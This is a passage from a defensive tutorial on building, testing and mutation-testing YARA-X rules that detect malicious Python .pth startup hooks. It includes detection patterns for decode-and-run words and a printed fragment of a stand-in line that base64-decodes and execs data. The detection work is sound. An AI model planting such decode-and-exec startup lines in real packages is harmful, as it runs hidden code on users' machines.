n06_runner_on_another_line.pth clean MATCH MATCH -
n07_long_prose_line.pth clean MATCH - -
version stand-ins caught look-alikes flagged real .pth files flagged
v1 12 of 12 5 of 7 22 of 25
v2 9 of 12 1 of 7 0 of 25
v3 11 of 12 0 of 7 0 of 25
Read the matrix from the bottom up. Version 1 caught all 12 stand-ins but flagged 5 of 7 look-alikes and 22 of the 25 real files, so it is useless on a real machine. Version 2 flagged none of the real files and one look-alike (n06), but it missed three stand-ins. Version 3 caught 11 of 12 stand-ins, flagged no look-alike and no real file. Version 2 missed m09 because it has no decoder word, m12 because unhexlify was not in its list, and m10. Version 3 gained m12 by adding unhexlify and m09 through the second rule. The only stand-in that all three versions miss is m10, which splits the word exec in two. That is not a bug to hide. It is a fact about the tool: YARA matches bytes, and an attacker who knows your rule can write bytes that your rule does not contain.
Check the rule on whole trees
The real .pth files and the stand-ins are a small sample, so repeat the comparison on much larger ones. This script scans whole folders with each rule version on YARA-X and on the original YARA engine and compares the matching files. It is also Step 11’s check that your rules are portable:
"""big_scan.py: scan whole Python trees with each rule version, on YARA-X and on classic YARA, and compare.
Usage: python big_scan.py TREE [TREE ...]
Prints, per tree and per rule file: files scanned, matching files per rule, wall time on both engines,
and whether the two engines matched exactly the same files.
"""
import os
import subprocess
import sys
import time
import yara # classic YARA, from the yara-python wheel
YR = os.path.join("tools", "yr.exe")
RULE_FILES = [
("v1 any import line", "rules/step04_v1_any_import.yar"),
("v2 file-level words", "rules/step05_v2_file_level.yar"),
("v3 line-scoped", "rules/step06_v3_line_scoped.yar"),
]
def count_files(tree):
return sum(len(files) for _, _, files in os.walk(tree))
def run_yarax(rule_file, tree):
started = time.perf_counter()
done = subprocess.run([YR, "scan", "-r", rule_file, tree], capture_output=True, text=True, errors="replace")
seconds = time.perf_counter() - started
hits = set()
for line in done.stdout.splitlines():
if " " in line:
rule, path = line.split(" ", 1)
hits.add((rule, os.path.normpath(path)))
return hits, seconds, done.stderr.strip()
def run_yara_classic(rule_file, tree):
rules = yara.compile(filepath=rule_file)
started = time.perf_counter()
hits = set()
for folder, _, files in os.walk(tree):
for name in files:
path = os.path.join(folder, name)
try:
for match in rules.match(path):
hits.add((match.rule, os.path.normpath(path)))
except yara.Error:
pass # unreadable file
return hits, time.perf_counter() - started
def main(trees):
for tree in trees:
print(f"\n=== {tree}: {count_files(tree):,} files")
for label, rule_file in RULE_FILES:
hits_x, sec_x, err = run_yarax(rule_file, tree)
try:
hits_c, sec_c = run_yara_classic(rule_file, tree)
except yara.SyntaxError as exc:
hits_c, sec_c = None, 0.0
print(f"{label}: classic YARA refused the rule file: {exc}")
by_rule = {}
for rule, _ in hits_x:
by_rule[rule] = by_rule.get(rule, 0) + 1
same = "n/a" if hits_c is None else ("identical" if hits_c == hits_x else f"DIFFERENT ({len(hits_c ^ hits_x)} files)")
counts = ", ".join(f"{r}={n}" for r, n in sorted(by_rule.items())) or "no matches"
print(f"{label:<22} YARA-X {sec_x:6.1f} s | classic {sec_c:6.1f} s | matches: {counts} | engines: {same}")
if err:
print(" stderr:", err[:300])
if __name__ == "__main__":
main(sys.argv[1:])
I ran it on two trees: a 937 MB virtual environment with PyTorch and Transformers installed (30,961 files) and the Python 3.13 installation (17,224 files). Together that is 48,185 files.
=== C:/Claude/Cowork/Sxz.io/sxz-automations/tmp/sxz-helpers/llmon_lab/venv: 30,961 files
v1 any import line YARA-X 0.7 s | classic 5.4 s | matches: pth_import_line_v1=6147 | engines: identical
v2 file-level words YARA-X 0.6 s | classic 6.5 s | matches: pth_decode_and_run_v2=11 | engines: identical
v3 line-scoped YARA-X 0.6 s | classic 6.5 s | matches: no matches | engines: identical
=== C:/Python313/Lib: 17,224 files
v1 any import line YARA-X 0.3 s | classic 3.3 s | matches: pth_import_line_v1=4310 | engines: identical
v2 file-level words YARA-X 0.3 s | classic 3.5 s | matches: pth_decode_and_run_v2=10 | engines: identical
v3 line-scoped YARA-X 0.3 s | classic 3.5 s | matches: no matches | engines: identical
Version 1 flagged 6,147 and 4,310 files, roughly one file in every five or four, because so many files start a line with import. Version 2 flagged 11 and 10. Version 3 flagged none, and both engines agreed on every file in every case. The times are only a rough guide. YARA-X scans with several threads from the command line, while my classic-engine run was a Python loop, so the comparison is not fair to the classic engine. And the first time I scanned each tree, the version 1 scan took 9.9 and 20.2 seconds instead of under a second. The same rule took 0.3 seconds when I repeated it on the same files, which suggests that the first run was waiting for the disk rather than for the rule.
Step 8: Scan a real environment
You now have a rule worth running on a real machine. The simplest way is to point yr at a folder:
yr scan -r rules\step06_v3_line_scoped.yar C:\path\to\your\venv
On a match, add -s to see the matching text and -m to print the rule’s metadata. Here is the final rule on one stand-in. The =40 after -s limits how many characters of each matched string are printed:
yr scan -s=40 -m rules\step06_v3_line_scoped.yar samples\should_match\m01_b64_exec.pth
pth_import_line_decodes_and_runs [description="One line that starts with import, decodes data and runs something",author="sxz.io lab",date="2026-11-21",reference="https://docs.python.org/3/library/site.html"] samples\should_match\m01_b64_exec.pth
0x0:104:$run_then_decode: import base64;exec(base64.b64decode(\'cHJ ... 64 more bytes
The first line is the rule, its metadata in square brackets (including the link to the Python documentation you put in reference) and the file. The second is the match: offset 0 (the line is the first line of the file), 104 bytes, the pattern that matched, and the first 40 characters of the text, followed by a count of the bytes that were left out.
Scan only the files that matter
Because a rule looks at a file’s bytes and not at its name, you choose which files it sees. To scan only .pth files, build a list of them and give it to --scan-list. This also keeps a multi-gigabyte PyTorch checkpoint out of the scan. Run this in PowerShell, with the path of your own site-packages folder:
Get-ChildItem -Recurse -Filter *.pth C:\path\to\site-packages | ForEach-Object FullName | Set-Content pth_files.txt
yr scan --scan-list rules\step06_v3_line_scoped.yar pth_files.txt
If you would rather scan everything but skip big files, -z (--skip-larger) takes a size limit. I ran the two commands above over the base Python 3.13 site-packages folder and the large virtual environment from Step 7, followed by two checks: how many files were in the list, and the exit code of yr.
(Get-Content pth_files.txt).Count
$LASTEXITCODE
1
0
The list held a single .pth file, the scan printed nothing for it, and the exit code was 0. A scan that prints nothing is the result you hope for, but remember that “no match” is also what a broken rule prints. That is why the next two steps exist.
Step 9: Read what the compiler tells you
YARA-X checks your rules before it scans, and its messages teach you a lot. Save the first file as rules\step08_warnings_demo.yar and the second as rules\step08_error_demo.yar. Each contains a deliberate mistake:
rule two_zero_bytes
{
strings:
$zeros = { 00 00 }
condition:
$zeros
}
rule always_true
{
condition:
filesize > 0 or true
}
rule typo_in_modifiers
{
strings:
$run = "exec(" ascii nocase nocase
condition:
$run
}
yr scan rules\step08_warnings_demo.yar samples\misc\hello.txt
yr scan rules\step08_error_demo.yar samples\misc\hello.txt
warning[slow_pattern]: slow pattern
--> rules\step08_warnings_demo.yar:4:18
|
4 | $zeros = { 00 00 }
| --------- this pattern may slow down the scan
warning[invariant_expr]: invariant boolean expression
--> rules\step08_warnings_demo.yar:12:9
|
12 | filesize > 0 or true
| -------------------- this expression is always true
|
= note: rule `always_true` is always `true`
always_true samples\misc\hello.txt
error[E020]: duplicate pattern modifier
--> rules\step08_error_demo.yar:4:37
|
4 | $run = "exec(" ascii nocase nocase
| ^^^^^^ duplicate modifier
error: 1 error(s) found
The three messages are three different kinds of feedback. slow_pattern is a warning about the pattern { 00 00 }, written in hexadecimal. Two zero bytes occur in a great many files, so the scanner has a huge number of places to examine and the rule would also match a lot of harmless files. A pattern that cannot be made more specific is a sign that the rule needs a better idea. invariant_expr says filesize > 0 or true is always true, which means the rule matches every file; the output confirms it by printing always_true samples\misc\hello.txt even though the file has nothing to do with the rule. The third message is an error, E020, for a repeated nocase modifier. An error stops the scan: nothing ran, and the output contains no match line. Warnings do not stop it, so read them.
Step 10: Put the rules under test
You have checked the rules by eye. Now make the computer check them every time. This pytest file loads the final rule file with the yara_x Python package and runs five kinds of test: every stand-in must match, the known miss must still be a miss, every look-alike must stay clean, every real .pth file from the corpus must stay clean, and every rule in the file must catch at least one stand-in, so that a rule that quietly stopped working cannot hide.
"""test_rules.py: regression tests for the .pth hunting rules. Run: python -m pytest -q
RULES_FILE picks the rule file under test (default: the final version).
"""
import functools
import glob
import os
import re
import pytest
import yara_x
HERE = os.path.dirname(os.path.abspath(__file__))
RULES_FILE = os.environ.get("RULES_FILE", os.path.join(HERE, "rules", "step06_v3_line_scoped.yar"))
KNOWN_GAPS = {"m10_split_name.pth"} # documented misses; strict xfail makes the suite complain if one is ever fixed
def files(*parts):
return sorted(glob.glob(os.path.join(HERE, *parts)))
BAD = files("samples", "should_match", "*.pth")
GOOD = files("samples", "should_not_match", "*.pth")
CORPUS = files("corpus", "goodware", "*.pth")
def label(path):
return os.path.basename(path)
@functools.lru_cache(maxsize=None)
def compiled():
with open(RULES_FILE, encoding="utf-8") as handle:
return yara_x.compile(handle.read())
def scan(path):
"""Names of the rules that match one file."""
return {rule.identifier for rule in yara_x.Scanner(compiled()).scan_file(path).matching_rules}
@pytest.mark.parametrize("path", [p for p in BAD if label(p) not in KNOWN_GAPS], ids=label)
def test_stand_in_is_flagged(path):
assert scan(path), f"{label(path)} slipped through"
@pytest.mark.xfail(strict=True, reason="a byte pattern cannot see a word that is split in two")
@pytest.mark.parametrize("path", [p for p in BAD if label(p) in KNOWN_GAPS], ids=label)
def test_known_gap_is_still_a_gap(path):
assert scan(path)
@pytest.mark.parametrize("path", GOOD, ids=label)
def test_look_alike_is_clean(path):
assert scan(path) == set(), f"false positive on {label(path)}: {sorted(scan(path))}"
def test_real_packages_are_clean():
assert CORPUS, "run fetch_corpus.py first"
flagged = [label(p) for p in CORPUS if scan(p)]
assert flagged == [], f"real files flagged: {flagged}"
def test_no_rule_is_dead():
"""Every rule in the file must catch at least one stand-in, or it protects nothing."""
with open(RULES_FILE, encoding="utf-8") as handle:
declared = set(re.findall(r"(?m)^rule\s+(\w+)", handle.read()))
caught = set().union(*(scan(p) for p in BAD))
assert declared == caught, f"rules that never fire on a stand-in: {sorted(declared - caught)}"
Two details are worth understanding. The known miss m10 is marked xfail(strict=True), which means “this test is expected to fail”. If a future version of the rule starts catching m10, the test would pass, and strict mode turns that unexpected pass into a failure, so you are forced to notice and update the list of known gaps. And RULES_FILE lets the same tests run against any rule file, which the next script uses.
.\venv\Scripts\python -m pytest -q -p no:cacheprovider test_rules.py
...........x......... [100%]
20 passed, 1 xfailed in 0.07s
Twenty tests passed and one failed as expected (the x in the dots line). A suite that passes is only worth something if it would fail when the rule is wrong. The way to check that is mutation testing: plant one bug at a time in a copy of the rule and see whether the tests notice. Each bug is a “mutant”; a mutant the tests miss is a gap in the tests. The script below plants ten bugs, such as dropping the start-of-line anchor, forgetting a decoder word or changing a threshold:
"""mutate_rules.py: plant one bug at a time in the final rule file and check that the test suite notices.
A mutant that the tests do NOT notice is a gap in the tests, not in the mutant.
"""
import os
import re
import subprocess
import sys
SOURCE = os.path.join("rules", "step06_v3_line_scoped.yar")
OUT_DIR = "mutants"
# (name, old text, new text, how many occurrences to replace)
MUTANTS = [
("drop the start-of-line anchor in the decode rules", r"(^|\n)import[ \t][^\n]*(", r"import[ \t][^\n]*(", 2),
("let every match run across lines", r"[^\n]*", r"[\s\S]*", 99),
("forget b64decode", "b64decode|", "", 2),
("forget Popen", "Popen|", "", 2),
("require both orders at once", "any of them", "all of them", 1),
("blob threshold 200 down to 20", "{200,}", "{20,}", 1),
("blob threshold 200 up to 900", "{200,}", "{900,}", 1),
("accept only a space after import", "[ \\t]", " ", 99),
("forget eval", "eval|", "", 2),
("forget unhexlify", "unhexlify|", "", 2),
]
def run_tests(rules_file):
env = dict(os.environ, RULES_FILE=os.path.abspath(rules_file), COLUMNS="170")
done = subprocess.run([sys.executable, "-m", "pytest", "-q", "-x", "-p", "no:cacheprovider", "test_rules.py"],
capture_output=True, text=True, env=env)
failed = re.search(r"(?m)^FAILED test_rules\.py::(\S+)", done.stdout)
return done.returncode, (failed.group(1) if failed else "")
def main():
os.makedirs(OUT_DIR, exist_ok=True)
original = open(SOURCE, encoding="utf-8").read()
code, _ = run_tests(SOURCE)
print(f"control (unchanged rule file): {'tests pass' if code == 0 else 'TESTS FAIL'}")
survivors = 0
for number, (name, old, new, count) in enumerate(MUTANTS, 1):
found = original.count(old)
if found == 0:
print(f"mutant {number}: PATTERN NOT FOUND ({name})")
survivors += 1
continue
mutated = original.replace(old, new) if count == 99 else original.replace(old, new, count)
path = os.path.join(OUT_DIR, f"mutant_{number:02d}.yar")
with open(path, "w", encoding="utf-8", newline="\n") as handle:
handle.write(mutated)
code, first = run_tests(path)
if code == 0:
survivors += 1
print(f"mutant {number}: SURVIVED {name}")
else:
print(f"mutant {number}: caught {name} (first failure: {first or 'rule file no longer compiles'})")
print(f"{len(MUTANTS) - survivors} of {len(MUTANTS)} planted bugs caught")
return 1 if survivors else 0
if __name__ == "__main__":
sys.exit(main())
What the first run taught me
This is not the first version of the script. My first run had nine mutants and a sample set without m11 and m12, and it caught only five:
control (unchanged rule file): tests pass
mutant 1: caught drop the start-of-line anchor in the decode rules (first failure: test_look_alike_is_clean[n03_comment_names_the_attack.pth])
mutant 2: SURVIVED let the match run across lines
mutant 3: caught forget b64decode (first failure: test_stand_in_is_flagged[m01_b64_exec.pth])
mutant 4: SURVIVED forget Popen
mutant 5: caught require both orders at once (first failure: test_stand_in_is_flagged[m01_b64_exec.pth])
mutant 6: caught blob threshold 200 down to 20 (first failure: test_known_gap_is_still_a_gap[m10_split_name.pth])
mutant 7: caught blob threshold 200 up to 900 (first failure: test_stand_in_is_flagged[m09_blob_only.pth])
mutant 8: SURVIVED accept only a space after import
mutant 9: SURVIVED forget eval and unhexlify
5 of 9 planted bugs caught
Four mutants survived, and each survivor pointed at a real gap. Nobody tested the tab, so “accept only a space after import” survived; I added m11. Nobody tested eval or unhexlify, so deleting them survived; I added m12, which uses both, and split the mutant in two so that each word is removed on its own. “Forget Popen” survived for a more interesting reason: my first m05 contained sys.executable, and the runner word exec matches inside executable, so the rule still fired without Popen. That is also a hint that the runner words in the rule are loose, since exec will match execute or executable on an import line; the corpus and the two trees showed no false positive from it, but it is the first place I would tighten the rule if one appeared. I rewrote m05 to avoid sys.executable. The fourth survivor was my own mistake in the mutant: it changed only one of the seven places that use [^\n]*, which was not enough to let a match cross a line. I widened it to change all of them. After the fixes the second run caught every planted bug:
control (unchanged rule file): tests pass
mutant 1: caught drop the start-of-line anchor in the decode rules (first failure: test_look_alike_is_clean[n03_comment_names_the_attack.pth])
mutant 2: caught let every match run across lines (first failure: test_look_alike_is_clean[n06_runner_on_another_line.pth])
mutant 3: caught forget b64decode (first failure: test_stand_in_is_flagged[m01_b64_exec.pth])
mutant 4: caught forget Popen (first failure: test_stand_in_is_flagged[m05_python_c_dropper.pth])
mutant 5: caught require both orders at once (first failure: test_stand_in_is_flagged[m01_b64_exec.pth])
mutant 6: caught blob threshold 200 down to 20 (first failure: test_known_gap_is_still_a_gap[m10_split_name.pth])
mutant 7: caught blob threshold 200 up to 900 (first failure: test_stand_in_is_flagged[m09_blob_only.pth])
mutant 8: caught accept only a space after import (first failure: test_stand_in_is_flagged[m11_tab_after_import.pth])
mutant 9: caught forget eval (first failure: test_stand_in_is_flagged[m12_eval_unhexlify.pth])
mutant 10: caught forget unhexlify (first failure: test_stand_in_is_flagged[m12_eval_unhexlify.pth])
10 of 10 planted bugs caught
Mutation testing is the quickest way I know to learn whether your tests protect anything. The numbers above come from a deliberately small suite, so a mutant I did not think of could still survive, but at least each class of change that I did think of is covered.
Step 11: Check that the rules run on the original YARA too
Many tools still embed the original engine, so it is worth knowing whether your rules run on both. The big_scan.py script from Step 7 already did this check: it compiled all three rule files with yara-python 4.5.4 and compared the matching files with YARA-X’s. The column “engines: identical” in the output above means both engines flagged exactly the same files on 48,185 files, for every rule version. That includes the regular expressions with (^|\n), [^\n]* and {200,}. The two engines are different programs, so do not assume this holds for every rule you will ever write. Run your rules on both when you need both.
Common mistakes and how to check yourself
The most common mistake is to trust a rule because it catches the bad sample. You now know to ask the second question: what does it flag in a pile of innocent files? Version 1 and version 2 both “worked” on stand-ins.
The second is to forget that strings match anywhere. If you need two things to be on the same line, say so with a pattern that cannot cross a newline. If you need to restrict the scan to a kind of file, do it with the file list you give yr, not inside the rule.
The third is to believe silence. Check by scanning a stand-in that must match, with -s, every time you change a rule.
The fourth is to treat a match as proof. A hit on a .pth file means “open this file and read it”, in a text editor, never by importing or running it. Compare it against the package that owns it: our .pth audit tutorial shows how to list the startup lines in your environments, and our SBOM and pip-audit tutorial shows how to check which releases PyPI has already removed.
The fifth is to forget what the rule cannot see. The stand-in m10 stays undetected. A real attacker who reads your rules can write around them, so a rule is one layer of defense next to package pinning, hash checking and monitoring what your build servers install, not a replacement for any of them. The stand-ins here are my own construction and I tested no real malware, so the false negative count above is a lower bound on what a determined attacker could slip past. And as the start of this tutorial said, the two real incidents we covered used tiny startup hooks that a rule on the .pth file alone would not have caught.
Check that everything works end to end
If you followed along, these three checks confirm the whole setup. First, yr scan -r rules\step06_v3_line_scoped.yar samples should print a match line for each of the 11 stand-ins the final rule catches (the file m04_marshal_exec.pth appears twice, because both rules match it) and nothing for any file in should_not_match. Second, python -m pytest -q test_rules.py should report 20 passed and 1 xfailed. Third, python mutate_rules.py should end with “10 of 10 planted bugs caught”. If one of them differs, work backwards: a different number of stand-in matches usually means a copy-and-paste slip in a rule file, a failing test names the exact sample, and a surviving mutant names the exact change your tests did not cover.
Where to go next
The rules in this tutorial use only text patterns. YARA-X also has modules that understand file formats. The Python package reports these: console, crx, cuckoo, dex, dotnet, elf, hash, lnk, macho, math, pe, string, time, vt and zip. You load one with import at the top of a rule file, and yr dump --module pe SOMEFILE shows the data a module extracts from a file. A good next exercise is to write a rule that uses the pe module on Windows programs and test it against the programs on your own PC, in exactly the way you tested these.
Go after the second file
Remember the two real incidents, where the .pth line was tiny and the payload lived elsewhere. The reliable way to catch a known second file is not a pattern but its exact hash, which security teams publish after an incident. The hash module turns one published SHA-256 into a rule. This script writes such a rule for one of the stand-ins and scans with it, so you can see the shape without touching real malware. The first line of the rule loads the module, and the condition checks the file size and the SHA-256 of the whole file.
"""make_hash_rule.py: write a rule that matches one stand-in by its SHA-256, then scan with it.
This is how a published list of file hashes becomes a rule: one hash per file, one condition.
"""
import hashlib
import os
import subprocess
TARGET = os.path.join("samples", "should_match", "m01_b64_exec.pth")
with open(TARGET, "rb") as handle:
data = handle.read()
digest = hashlib.sha256(data).hexdigest()
RULE = f'''import "hash"
rule known_file_by_sha256
{{
meta:
description = "Exact match of one known file by its SHA-256"
condition:
filesize == {len(data)} and hash.sha256(0, filesize) == "{digest}"
}}
'''
with open(os.path.join("rules", "step09_known_hash.yar"), "w", encoding="utf-8", newline="\n") as handle:
handle.write(RULE)
done = subprocess.run(["yr", "scan", "-r", os.path.join("rules", "step09_known_hash.yar"), "samples"],
capture_output=True, text=True)
print(done.stderr + done.stdout, end="")
known_file_by_sha256 samples\should_match\m01_b64_exec.pth
To use a real list, add one rule, or one comparison joined by or, per published hash. I did not run this against the real LiteLLM or agent-framework files, so treat it as the recipe and take the hashes from the vendors’ own write-ups. A hash only finds files that are byte for byte identical to one that someone has already seen, which is why hash rules and pattern rules complement each other.
Finally, run yr fmt on your rule files to keep them tidy, keep the goodware corpus under version control, and add one new false positive to the tests every time a rule misfires on a real file. If you run a CI system, run the pytest suite and the mutation script on every change to a rule. And read the YARA-X is stable announcement that the original project’s README points to, because the direction is clear: new rules belong on YARA-X.
Sources and tools
The Python behavior comes from the site module documentation. The maintenance-mode notice is in the YARA README and the goals of the new engine are in the YARA-X README, whose 1.24.0 release page hosts the command-line tool I used. The list of popular packages comes from Hugo van Kemenade’s top PyPI packages page. Every command, file listing and output in this tutorial was produced on the machine described above on November 21, 2026; your counts will differ because PyPI changes daily and your computer holds different files.








No Comment! Be the first one.